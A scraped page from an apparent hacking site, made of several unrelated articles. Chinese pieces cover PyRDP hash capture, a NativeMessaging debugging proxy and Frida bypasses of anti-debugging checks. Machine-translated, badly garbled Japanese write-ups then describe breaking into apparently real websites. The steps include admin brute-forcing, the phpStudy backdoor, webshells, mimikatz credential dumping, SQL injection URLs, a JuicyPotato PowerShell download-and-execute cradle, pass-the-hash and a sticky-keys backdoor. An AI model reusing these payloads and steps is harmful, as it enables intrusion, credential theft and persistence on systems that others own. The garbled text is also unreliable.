NTLMv2_RESPONSE結構很容易理解和解析，因為它只包含16字節的響應和可變大小的客戶端質詢。客戶端的質詢可以概括為使用從安全帳戶管理器(SAM) 或Active Directory (AD) 獲得的NT 哈希構建的LMv2 和NTv2 哈希，並使用HMAC-MD5對用戶和域名進行哈希。所有這些都形成了NetNTLMv2哈希，這是密碼破解工具如 John the Ripper 或 hashcat所需要的。



使用PyRDP 捕獲NetNTLMv2 哈希PyRDPi 是我們開發的一個庫，用於執行中間人攻擊並試驗RDP 協議。在中間人攻擊模式下，PyRDP有能力攔截NetNTLMv2哈希，即使它沒有實服務器的證書和私鑰，並且NLA是由服務器強制執行的。在本節中，我們將探索和描述兩種可以執行哈希捕獲的場景。



在第一種場景中，我們擁有受攻擊服務器的證書和私鑰。在本例中，RDP客戶端和服務器之間的交互將在CredSSP支持下進行，PyRDP將以兩種方式傳輸NTLMSSP消息。 NetNTLMv2捕獲是在RDP服務器發送CHALLENGE消息之後完成的，PyRDP從消息中提取服務器的CHALLENGE值，客戶端響應PyRDP記錄的哈希值，然後發送給RDP服務器繼續身份驗證過程。



 4.png



我們最近實現了第二個場景：NLA 由服務器強制執行，但我們沒有服務器的證書和私鑰。在這個場景中，PyRDP將切斷與原始服務器的連接，並繼續進行客戶端連接和NTLMSSP身份驗證，以便執行前面所示的相同的NetNTLMv2提取。 PyRDP在接收到客戶端的NEGOTIATION消息後將生成CHALLENGE消息並發送它。通過這種方式，PyRDP可以控制質詢值，稍後將接收AUTHENTICATION消息。



 5.png



為了說明這種攻擊，當PyRDP 在未啟用NLA 的情況下運行（默認值，請參見——auth標誌啟用NLA攻擊），並且客戶端試圖連接到執行NLA攻擊的服務器，然後從AUTHENTICATION消息的哈希提取之後，日誌如下所示：



 6.png



請注意，在最後一個場景中，一旦提取了哈希，PyRDP 和客戶端之間的連接就會關閉，因為中間人攻擊進程無法完成服務器的連接，因為它受到NLA 的保護。



總結在本文中，我們展示了在RDP連接期間如何捕獲NetNTLMv2，以及PyRDP可以用作一種實用的攻擊工具。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
引子上個月，一位企業客戶報告說，他們使用的第三方瀏覽器擴展無法正常工作。對該擴展的調查表明，該瀏覽器擴展依賴於一個在瀏覽器沙箱之外運行的NativeMessaging Host（NMH）組件。在審查客戶提供的進程監控日誌時，我們發現，Native Host可執行程序在啟動數十分鐘後就意外退出。並且，在這次意外退出後，下一次瀏覽器內擴展試圖調用它時，瀏覽器到本地的調用就會失敗，從而導致瀏覽器擴展無法提供其預期功能。



不幸的是，我既沒有NMH可執行文件的源代碼（甚至沒有二進製文件），在進程監控器日誌中也沒有找到明顯的線索（例如，註冊表讀取或寫入失敗），所以，我們很難搞清楚問題到底出在哪裡。我對支持工程師說，要是能看到瀏覽器擴展和NMH之間交換的JSON信息，也許就能幫我們找到問題的根源所在。



 '我們需要像Fiddler這樣的工具來監視NMH信息，而不是HTTPS信息。 '



這有什麼難的？從技術上講，我並不熟悉與瀏覽器擴展有關的東西，所以，在排除了我能想到的幾個可能的根源問題後，我就忙其他的事情去了。



但這一構想一直縈繞在我的腦海裡：像Fiddler一樣的工具，但用於檢查本地信息傳遞。



建立這個系統有多難？會有多大用處？



自從2015年底“拋棄”Fiddler和Telerik後，我就沒寫過多少C#代碼；偶爾寫一點，大多也是Fiddler的插件，而不是獨立的應用程序。不過，Native Messaging遠沒有HTTPS那麼複雜，所以應該不會太難，對吧？



我們希望在調試器中實現以下功能：



 顯示從瀏覽器擴展到Native Host的信息



 允許將這些信息記錄到一個文件中



 允許在任何方向上註入任意的消息



 (擴展目標)允許修改這些消息



在接下來的幾個晚上，我打開塵封多年的Visual Studio IDE，努力回憶C#異步編程的工作方式。



關於NativeMessaging MeddlerNativeMessaging Meddler的源代碼和編譯版本都可以從GitHub下載。



NativeMessaging Meddler（NMM）是一個基於.NET 4.8的Windows應用程序。它的底部提供了一行選項卡，以便於我們在不同的選項卡之間進行切換；在默認情況下，直接運行.exe程序的話，它僅顯示幫助文本：



 1.png



NMM工具可以響應來自瀏覽器擴展本身的NativeMessages，也可以代理現有擴展和現有NMH可執行文件之間的消息。



安裝Demo擴展要測試該工具的基本功能，您可以安裝Demo Extension：



在Chrome或Edge中訪問about://extensions



啟用開發者模式



按下Load Unpacked按鈕



選擇sample-ext文件夾



一個新的'N '圖標將出現在工具欄上



安裝完演示擴展後，還必須註冊演示的Native Host應用。為此，請更新其清單，以反映您放置它的位置。



使用記事本或類似編輯器打開manifest.json文件



將path字段設置為.exe的完整路徑。確保反斜杠都是成對使用的。



將allowed_origins字段設為來自about:extensions頁面中的擴展的ID值。



 1.png



接下來，更新註冊表，以便瀏覽器能夠找到您的主機：



在記事本中編輯installregkeys.reg文件，更新文件路徑以指向manifest.json文件的位置。確保反斜杠都是成對使用的。



雙擊InstallRegKeys.reg文件將其導入註冊表。



運行演示擴展安裝好了主機和擴展後，現在就可以測試該工具了。從工具欄中的擴展點擊“N”圖標，導航到它的演示頁面。這時，NMM的實例應自動打開。



在Outgoing Messages框中鍵入“Hello World！”，單擊Post Message to port按鈕。這時，該消息應該出現在NMM應用程序內的Monitor選項卡上：



 1.png



如果你勾選右上方的“Reflect to extension”選項，然後再次發送消息，應該會看到NMM工具收到消息，並將其發回該擴展的頁面，並展示在“Incoming Messages”部分。



 1.png



“Reflect to extension”將收到的信息複製給發送方



如果我們想通過NMM注入我們選擇的新信息，該怎麼辦？



進入NMM的Injector選項卡，在底部輸入框中輸入一個簡單的JSON信息。然後，點擊“Send to Browser/Extension”按鈕。這時，我們會看到該信息出現在瀏覽器內的“Incoming Messages”部分。



 1.png



注意：你的信息必須是格式正確的JSON，否則它將永遠無法到達。



好了，我們現在已經能夠成功地使用NMM工具來接收和發送來自Demo擴展的消息了。



代理消息雖然我們的演示擴展很適合測試Native Messaging功能，而且如果我們正在開發一個使用Native Messaging功能的新擴展，它可能會對模擬有所幫助，但本文的重點是監視現有擴展與主機之間的通信。



好了，那就開幹吧。



首先，轉到Configure Hosts選項卡，該選項卡在註冊表中搜索您的PC上當前註冊的所有本機主機（Native Host）：



 1.png



我們的計劃是最終讓攔截本機主機成為一種點擊式體驗，但目前，我們只是使用該選項卡來查找我們要攔截的本機主機的文件系統位置。如果某個條目多次出現，請選擇優先級最低的實例。



例如，假設我們對Chrome瀏覽器中一些Windows-to-Web身份驗證場景中使用的BrowserCore主機感興趣。我們可以看到清單文件的位置，以及從清單文件中提取的EXE的名稱：



 1.png



在某些情況下，您可能會發現Exe字段顯示“?”，如上面的vidyo條目那樣。這是因為，如果清單文件無法解析為合法的JSON，就會出現這種情況。 Chromium在寬鬆模式下使用定制的JSON解析器來解析清單，它允許JavaScript風格的註釋。但是NMM工具使用嚴格的JSON解析器，無法解析這些註釋。不過，這對我們的目的來說並不重要。



注意清單文件的位置，並在您選擇的編輯器中打開它。注意：如果該文件在特權位置，您可能需要以更高的權限來打開您的編輯器（以管理員身份）。



提示：您可以通過Alt+DblClick選擇一個項目，或者在選擇該項目時點擊Alt+Enter，以打開Windows資源管理器，找到清單的位置。



在清單中，通過在文件名末尾的.exe前引入.proxy一詞來改變路徑字段。



 1.png



然後，請保存該文件。



注意：在某些情況下，即使是管理員也無法在默認情況下寫入該文件。在這種情況下，你需要使用管理員的權限來取得文件的所有權，以授予自己修改文件的權限。



 1.png



當然，也還有其他不需要改變文件系統權限的方法，但我們在這裡就不做介紹了。



接下來，將nmf-view.exe文件複製到包含Native Host的文件夾中，並將其重命名為前面寫入清單的文件名。



 1.png



現在，我們已經成功安裝了NMM代理。每當瀏覽器擴展下次試圖啟動Native Host時，它就會激活我們的NMM調試器，而NMM調試器又會生成原始的Native Host（在本例中是BrowserCore.exe），並代理兩者之間的所有信息。



現在，請訪問一個您可以登錄的網站，如https://office.microsoft.com。然後，點擊右上方的登錄按鈕，監視我們的調試器生成的Native Host，收集來自Windows 10 Accounts擴展的請求，將其傳遞給BrowserCore.exe，讀取Host的回复，並將其傳回擴展。我們的調試器允許我們從兩個方向讀取JSON消息的全文。



 1.png



注意：這個截圖是經過編輯的，因為它包含秘密令牌。



幹的漂亮，是吧？



篡改消息當我完成所有這些工作時，我很興奮。同時，我也很失望……JSON的純文本渲染並不具有很好的可讀性，而且建立一個編輯消息的用戶界面工作量也很大。我感嘆……我在15年前就已經為Fiddler寫好了我想要的所有代碼。它同時具有JSON渲染和消息編輯功能……但是，現在我已經不再使用Fiddler，所以不能直接複製其源代碼了。



然後，我突然想明白了。我不需要在NMM中重新實現Fiddler的部分功能。我可以讓這些工具協同工作：NMM可以把它從瀏覽器擴展和Native Host收到的信息傳遞給Fiddler，如果Fiddler修改了信息，NMM就可以用修改後的信息來替代。



太棒了！



配置篡改過程首先，重新編輯manifest.json文件，在路徑中添加一個.fiddler組件，並將.proxy.exe文件重命名為.proxy.fiddler.exe，具體如下所示：



 1.png



這段新的文字預示著你希望NMM開始使用Tamper using Fiddler選項設置。為了調試像BrowserCore.exe這樣的“single-shot”本地主機，我們不能直接使用NMM的監控選項卡右上方的複選框，因為調試器和本地主機生成和完成事務的速度比我們這些弱小的人類點擊鼠標的速度快得多。注意：您也可以指定字符串.log.以啟用將流量日誌寫到桌面上的選項。



現在，啟動Fiddler；可以使用-noattach命令行參數，這樣它就不會註冊為系統代理。在Web Sessions列表下的QuickExec框中輸入bpu ToApp並按回車鍵。



 1.png



這將創建一個請求斷點，對所有包含ToApp字符串的請求都會觸發該斷點，NMM用它來記錄發送到原始Native Host的請求。



 1.png



通過Fiddler的檢查器，我們可以使用JSON Treeview、TextView或SyntaxView檢查器來檢查消息的JSON。



 1.png



如果我們對消息感到滿意，請點擊Run to Completion按鈕，這時，NMM應用程序就會把未經修改的原始消息發送到原始的Native Host。然而，如果我們想篡改消息，可以從下拉菜單中挑選一個成功響應，如200_SimpleHTML.dat：



 1.png



這時，模板響應將出現在響應文本視圖中：



 1.png



現在，請用您想要使用的文本覆蓋模板文本：



 1.png



……然後按綠色“Run to Completion”按鈕。這時，Fiddler將修改後的文本返回給NMM代理，然後NMM代理將修改後的消息傳遞給原始Native Host：



 1.png



就這裡來說，原始Native Host並不知道如何處理GetFiddledCookies請求，所以，它會返回一個錯誤，而該錯誤將傳回瀏覽器。



提示：如果您的目標是篡改從Native Host發送到擴展的消息，請在Fiddler的QuickExec框中輸入bpu ToExt。或者，您也可以使用Fiddler的其他篡改功能，比如讓它只攔截包含某些文本的消息，自動重寫某些消息，等等。



祝您閱讀愉快！


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在本文中，我們將介紹如何使用Frida繞過一些應用程序實現的反調試技術的實際示例。



FridaFrida是一個動態代碼檢測工具包。換句話說，它是一組允許代碼插裝的工具，提供給我們一些API，使我們能夠在執行過程中攔截、分析和修改Windows、macOS、GNU/Linux、iOS、Android和QNX應用程序的部分代碼。本質上，Frida允許在運行時對即將執行的操作進行操作。比如，當我們從一個簡單的c++程序開始，該程序使用一個函數將兩個值相加並返回結果。我們想要操作的函數聲明為Add(int,int)。首先，我們將更改其中一個int參數，然後，更改返回的結果。編譯完代碼後，我們需要通過分析可執行代碼來定位Add函數的偏移量。在本例中，我們使用IDA Pro來分析代碼，但也可以使用允許我們分析可執行代碼的任何其他方法或應用程序。我們在偏移量0x00401000處確定函數，並且我們知道可執行文件的基址是0x00400000，因此，函數的偏移量是0x00001000。



 1.jpg



然後，我們可以攔截函數調用並使用Frida修改其行為。我們將開發一個小Javascript腳本來完成這項工作。首先，我們需要確定程序在執行時被加載的位置、它的基址，然後，我們可以通過將這個基址和之前獲得的偏移量(base +0x00001000)相加來定位Add函數的偏移量。現在，我們可以使用帶有函數地址的Interceptor來在函數執行之前或之後添加一些代碼。我們使用Frida Javascript API 來完成這一切。



 2.jpg



因此，當我們以' 1 '和' 2 '作為參數執行應用程序時，我們期望結果是' 1 + 2=3 '。但是，如果我們取消註釋第一行(args[0]=ptr(' 100 ');)在函數執行之前，我們將變量op1的值替換為100，得到的結果為' 1 + 2=102 '。另一方面，如果取消註釋第二行(retval.replace(' 3210 ')) ，我們會在函數Add 執行之後但在返回結果之前替換返回值，得到'1 + 2=3210'。



 3.jpg



基於系統調用的技術在這個檢測結果中，我們考慮使用Windows API的函數來獲取與調試器存在相關的信息的技術。有很多函數可以用於這個目標：從像IsDebuggerPresent這樣的函數，它返回一個布爾值，這個值取決於應用程序是否被調試(True或False)，到像FindWindow這樣的函數，它告訴我們是否存在一個帶有知名調試器(IDA、Ollydbg、Inmunity 調試器等)名稱的窗口。



基於內存檢查的技術應用程序對內存中的某些標誌進行顯式驗證的方法，這些標誌顯示進程是否正在調試。可以用於此目的的一些標誌是IsDebugged 標誌、Heap標誌或NTGlobalFlag。這些標誌是Windows 為每個進程維護的結構的成員，其中包含有關它們的信息。



基於時間的技術這個檢測結果包括使用與時間相關的計算來確定是否正在調試進程的方法，當一個進程正在被調試時，執行同一組指令所花費的時間要比未被調試時多。這種時差通常是很明顯的。出於這個原因，應用程序可以檢查一組指令執行開始和結束的時間，如果它花費的時間超過一個既定的閾值，它可以很有可能確定該過程是正在調試。



基於異常的技術最後，我們根據觸發異常對一組方法進行分組，以確定進程是否正在被調試。在調試進程和未調試進程時，系統處理異常的方式是不同的。程序可以利用這一事實來確定是否附加了調試器。



設置測試環境為了實現我們的設置，我們將使用Windows 10虛擬機，我們最初將在其中安裝Python 3.8.6rc1。



然後我們安裝Frida，它可以直接從GitHub下載，或者使用Python pip工具安裝。我們使用pip是因為它比其他方法更簡單。



 4.jpg



我們還安裝了Visual Studio Community 2019來開發示例程序，在示例程序中我們實現了一些反調試技術來展示它是如何工作的。這些程序將被用來測試繞過這些反調試技術的不同方法。 Frida 的使用方式有很多種：我們可以直接使用包中包含的可執行文件（每個可執行文件都有特定的功能），也可以使用包中也包含的Python 模塊來開發我們自己的接口。



我們選擇了第二種方法，開發了一個小接口，允許我們生成新的進程或附加到現有進程中，注入一個或多個提供某些功能的腳本。我們選擇這種方式是因為我們希望能夠根據特定的需求定制接口，這些需求將在以後的文章中詳細介紹。



接下來，我們將討論基於以下系統調用的技術：IsDebuggerPresent、NtQueryInformationProcess 和CreateToolhelp32Snapshot。所有這些都使我們能夠了解如何以不同的方式使用Frida，以繞過這些控制。



IsDebuggerPresent我們將嘗試繞過的第一個檢查是基於系統調用IsDebuggerPresent 的方法。正如Microsoft 文檔中所指出的，此函數不接收任何參數，並根據進程是否正在調試返回一個布爾值：返回值“True”表示正在調試進程，“False”表示相反。為了說明這個方法，我們開發了一個使用這個系統調用執行調試檢測的簡單程序：



 5.png



在第一個控制台中，我們看到當我們從Visual Studio執行應用程序時，應用程序如何指示它正在被調試。但是，如果應用程序是直接從終端執行的，則表明它沒有被調試。檢查這個事實的另一種方法是從像x64dbg 這樣的調試器中執行它。唯一用來做決定的是函數IsDebuggerPresent 返回的值，因此，我們應該用Frida 開發一個腳本，攔截這個調用並修改返回值，總是返回False (0x0)。下面的腳本是為了完成所有這些而開發的：



首先，它使用Module.findExportByName（第3 行）定位函數“IsDebuggerPresent”的地址。



一旦獲得這個地址，它就會使用Interceptor.attach(.) 攔截這個調用（第8 行）。



最後，它在函數結束之前（第13 行）將返回值替換為0x0 (False)。



 6.png



NtQueryInformationProcess我們將展示的第二個系統調用是NtQueryInformationProcess。這個函數讓我們獲得與進程相關的不同信息。它比上一個更複雜，因為它允許我們使用ProcessInformationClass參數選擇要查詢的信息，並且它將在ProcessInformation參數上為我們提供這些信息。



在本例中，我們將展示如何繞過4 項檢查，每項檢查使用不同的ProcessInformationClass 值。這些值是：ProcessDebugPort、ProcessDebugFlags、ProcessDebugObjectHandle 和ProcessBasicInformation。



ProcessDebugPort (0 x7)如果附加了任何調試器，此類用於獲取調試器的端口號。如果附加了調試器，此值將不同於0。



ProcessDebugFlags (0x1F)使用此類，我們可以檢索一個標誌，該標誌將為我們提供有關活動調試器存在的信息。在本例中，如果processinformation參數中返回的值為0，則表明正在調試應用程序。



ProcessDebugObjectHandle (0x1E)將此值表示為ProcessInformationClass，僅當正在調試進程時，此系統調用才會返回有效的句柄。



ProcessBasicInformation (0 x0)使用這個類，我們在ProcessInformation 參數中獲得了一個名為PROCESS_BASIC_INFORMATION 的結構，其中包括其他數據：指向PEB 結構的指針（偏移量0x4）、進程的PID（偏移量0x16）和父進程的PID（偏移量0x20）。軟件可以使用此信息應用的一種反調試技術是使用父進程的PID 獲取父進程的名稱，並將其與眾所周知的調試器名稱列表進行檢查。



 7.png



如上所述，我們開發了一個小型C++ 應用程序，展示了這種技術的一個示例。為了逃避這些檢查，我們必須使用Frida 開發一個必須執行以下操作的腳本：



首先，它必須使用Module.findExportByName 定位函數“NtQueryInformationProcess”的地址。



然後，它必須使用Interceptor.attach(.) 攔截函數調用。



每次調用函數“NtQueryInformationProcess”（OnEnter）時，腳本必須執行以下操作：



保存參數ProcessInformationClass，允許我們選擇必須修改哪些返回信息（第40 行）。



保存指向返回參數ProcessInformation 的指針（第44、48、52 和57 行）。



還要保存每種情況下所需的參數。



 8.png



最後，就在函數結束之前（OnLeave），腳本可以使用之前保存的信息來確定需要使用參數ProcessInformation 返回什麼值。根據this.ProcessInformationClass 我們應該返回以下值：



0x7 (ProcessDebugPort)，ProcessInformation 將被替換為值0x0（第63 行）。



0x1F (ProcessDebugFlags)，ProcessInformation 將被替換為值0x1（第68 行）。



0x1E（ProcessDebugObjectHandle），在本例中，我們將檢查返回值，如果成功，則將參數ProcessInformation替換為0x0。參數ReturnLength 也將被替換（第72 - 81 行）。



0x0 (ProcessBasicInformation)，最後，如果選擇了這個選項，我們應該知道PROCESS_BASIC_INFORMATION 結構體將父進程的PID (InheritedFromUniqueProcessId, offset0x20) 替換為一個非可疑的PID，例如進程‘explorer.exe’ 的PID。



 9.png



要使用Frida 獲取進程“explorer.exe”的PID，我們可以使用Windows API 調用，例如函數GetShellWindow 和GetWintowThreadProcessId。我們可以使用NativeFunction del API de Frida 通過Javascript 聲明這些函數，一旦它們被聲明，我們就可以使用它們來獲取進程PID，如下所示：



 10.png



使用Visual Studio調試器執行這個示例程序，我們得到如下結果：



 11.png



如果我們使用相同的調試器執行相同的應用程序，但注入之前描述的Frida 腳本，我們會得到另一個結果：



 12.png



CreateToolhelp32Snapshot接下來我們將討論CreateToolhelp32Snapshot函數。使用這個函數的最常見的反調試技術是驗證父進程的名稱和PID，確定父進程是否是一個知名的調試器，但是這個函數也可以用於其他目的。首先，這個函數創建一個包含一些關於進程、線程和模塊的系統信息的快照。可以使用第一個參數選擇該快照的信息。允許使用以下值：TH32CS_INHERIT、TH32CS_SNAPALL、TH32CS_SNAPHEAPLIST、TH32CS_SNAPMODULE、TH32CS_SNAPMODULE32、TH32CS_SNAPPROCESS、TH32CS_SNAPTHREAD。



使用該函數最基本的反調試技術是只使用TH32CS_SNAPPROCESS來獲取正在運行的進程列表。然後，查找我們的進程，識別我們的進程父進程的PID，然後在列表中查找父進程的信息。最後，驗證父進程的信息。但是，通過使用不同標誌或使用TH32CS_SNAPALL的函數給出的信息，我們可以執行其他驗證。例如：



處理相關驗證（使用TH32CS_SNAPPROCESS）：



在整個列表中搜索被禁止的進程（如VsDebugConsole.exe、devenv.exe、x32dbg.exe.），無論該進程是否相關；



模塊相關驗證（使用TH32CS_SNAPMODULE和TH32CS_SNAPMODULE32）：



在與我的進程相關的模塊列表中搜索被禁止的模塊（如frida-agent.dll .）。



線程相關驗證（使用TH32CS_SNAPTHREAD）：



驗證列出的所有線程都有一個相關聯的進程，試圖檢測隱藏的進程；



驗證應用程序線程數；



驗證我的應用程序中沒有引用禁止模塊的任何線程。



 13.png



可見，使用此函數的應用程序可以驗證必須在它們之間保持一致的不同內容。因此，要繞過這些檢查，我們的任務必須是找到一種變通方法，允許我們繞過所有這些檢查，並保持列表的一致性。帶著這個目標，我們研究了這個函數究竟返回了哪些信息，以及我們如何操作它。



函數CreateToolhelp32Snapshot 返回一個SECTION 類型的HANDLE。如果我們分析HANDLE 指向的內存部分，我們可以找到一個未記錄的結構，其中包含以下部分：



 14.png



我們可以使用NtQuerySection和NtMapViewOfSection函數來修改與Handle相關的內存，從而修改CreateToolhelp32Snapshot函數返回的快照的內容。因此，我們可以開發一個Frida腳本來修改CreateToolhelp32Snapshot返回的列表，隱藏可以檢查以檢測調試器的進程、模塊和線程，但保持了其一致性。



首先，我們應該定義一個應該隱藏的進程和模塊列表。我們需要知道他們的名字。在這個例子中，我們將隱藏Visual Studio調試器以及與Frida相關的可執行文件和模塊。所以我們定義了2個列表，內容如下：



禁止進程列表：VsDebugConsole.exe、devenv.exe、frida-winjector-helper-32.exe



禁止模塊列表：frida-agent.dll



一旦我們確定要隱藏哪些進程和模塊，我們將像以前一樣掛鉤函數CreateToolhelp32Snapshot。在本例中，我們不修改任何參數或返回值。我們將在函數返回句柄之前截取函數返回句柄，並在返回發生之前執行一些代碼。正如我們之前看到的，使用函數NtQuerySection和NtMapViewOfSection，我們將定位與句柄相關的內存，我們將執行以下步驟：



進程列表修改：



我們應該從進程列表中刪除那些在禁止進程列表中找到的進程。



我們應該刪除對禁止進程的引用，以保持一致性。



例如，我們將要調試的程序可能有一個被禁止的進程作為父進程。因此，我們應該將Parent 的PID 值更改為非可疑進程的PID（如explorer.exe PID）。



模塊列表修改：



我們應該從模塊列表中刪除那些在禁止模塊列表中找到的模塊。



線程列表修改：



我們應該從線程列表中刪除那些由進程列表中刪除的進程擁有的線程；



我們應該從線程列表中刪除那些指向從模塊列表中刪除的模塊的線程；



我們可以通過使用具有THREAD_QUERY_INFORMATION 權限的函數OpenThread 和請求ThreadQuerySetWin32StartAddress 的NtQueryInformationThread 來獲取此信息。將此查詢獲得的信息與與禁止模塊關聯的內存進行比較，我們可以確定是否應該從列表中刪除線程。



 15.png


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 1。情報収集



ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。



まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。



 图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません



 图片ラブステーションに行き、見てください



 图片さて、カンボジアは大丈夫です



IPアドレスを知った後、ポートスキャンは1つのウェーブです（フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます）



 图片



スキャン後、リモートデスクトップ3389に接続してみてください（最初はWindowsが提供されているサーバーであることがわかりました）



 图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか？



 
 2。舞台裏の爆発



 Webに戻り、バックハンドでURLの後に管理者を追加します



 图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした



確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。



 图片従来の弱いパスワードを見つけるのに十分です。



 图片パスワードは数秒でリリースされます：123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります



 图片 图片 
 3。アップロードポイントを見つけます



バックエンドを単純に削除すると、確かに満足しません。



背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました



 图片（私のいとこはあなたに領収書コードを送りましたか？金持ちになる機会はここにあります！）



何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します



 图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて



 图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください



 图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。



突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう



 
 iv。ピークループターン



私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください



 图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート



以下に文を追加します：accept-charset:+ base64実行されたコマンドのエンコーディング



私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。



 
 5。アリの剣にはファイルシェル接続がありません



 图片エンコーダーをbase64に変更することを忘れないでください



次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします



图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する



 图片テスト接続、接続に成功しました



 图片 图片それが直接システムの許可であることがわかりました。



 
 6。ミミカッツをアップロードしてハッシュ
をつかみます


 图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします



 图片アップロードされたwinrarを減圧する、コマンド：winrar.exe e x64.rar



 图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。



 图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します



 图片管理者のRDPパスワードを正常にキャプチャしました。



前にスキャンしたフルポートを振り返って、私もスキャンしました



 图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。



リモートデスクトップ接続を試してください



 图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる



 
 7。要約



ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。



現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。



 图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/



複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .



パラメーター説明：A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。



filename1：圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。



元のリンクアドレスで転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21＃＃


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
このステーションは本当に大きいです、いや、このステーションは本当に丸い。phpステーションはさりげなくテストできる



 图片 1回の注入



 图片 图片 32ビットしか読めないので、サブストリングを使用して個別に読み取る



 



https://aaaaa.com/1.php?id=210%20and%20extractValue(1,Concat(0x7e,(Select



 管理者制限1,1）からのパスワード、0x7e））％20＃



https://aaaaa.com/1.php?id=210%20and%20extractValue(1,concat(0x7e、substring（（select



 管理者制限1,1）からのパスワード、30,35）、0x7e））％20＃



 图片快適に感じます。



0x02シェルを取り、robots.txtを参照してください



 图片INURL:A.com管理者



バックグラウンドに入ると、私はそれがecshopであることがわかりました。ここで、ファイルは画像バイパスに変更されました。



 图片はリセットされているようです



ここで私はSQLステートメントを実行できることを発見し、絶対パスリークがあることがわかりました



 图片 图片OK言うだけで、文章を書いてください



 图片0x03ライセンス图片許可は少し低くなっています



 图片 MySQLを使用する他の方法はありません。



 图片 MySQLの権利を増やしてみてください



 图片 图片アップロードできないディレクトリを除いて、他のすべての条件が満たされるので、私がそれを言わなかったとき、CSにアクセスして、PowerShellをオンライン



 图片詳細については、こちらのジューシーなジャガイモを使用してください。 Sanhaoの学生の記事を参照してください。必要なCLSIDを選択してください。リンク



 图片次に、システム許可を使用してPowerShellを実行しています



shell style.exe -p 'powershell.exe -nop -w hidden -c \' iex（（new -Object.WebClient）.DownLoadString（ 'PowerShellアドレス'））\ '' -C {e60687F7-01A1-40AA -86AC -DB1CBF67334}ここからの逃亡者を忘れないでください。



 图片0x04水平浸透图片はワーキンググループ環境であり、0.9をスキャンし、Webでもあります。ここにハッシュパスがあり、ハッシュをキャッチするために直接転送されます。現在、次のアカウントがあります



 wiseadmin Shopaccount mysql wiseadmin filetransfer demoadmin



wdagutilityaccount



通常のハッシュ配信- 



 图片 Webである必要があり、0.7がデータベースサーバーである可能性があるデモ



すべての管理者権限が利用可能です。システムを取得したい場合は、selectMyparentを使用できます。実際、新しいプロセスでシステムプロセスの子プロセスを設定するのはJです。ここでは、CS馬を使用し、最初にwinlogon.exeのpidを確認します



500であることがわかります



 图片その後、System.exeをアップロードしてShell selectmyparent.exe System.exe 500を実行します



 图片このステップは、実際に単語の数を構成することです、ハハハハ



0x05：ここでアクセス許可が維持され、ローカルテストが取得されます



スティッキーキーバックドアプレス「シフト」は、窓を連続して5回連続して粘着性キーを呼び出します



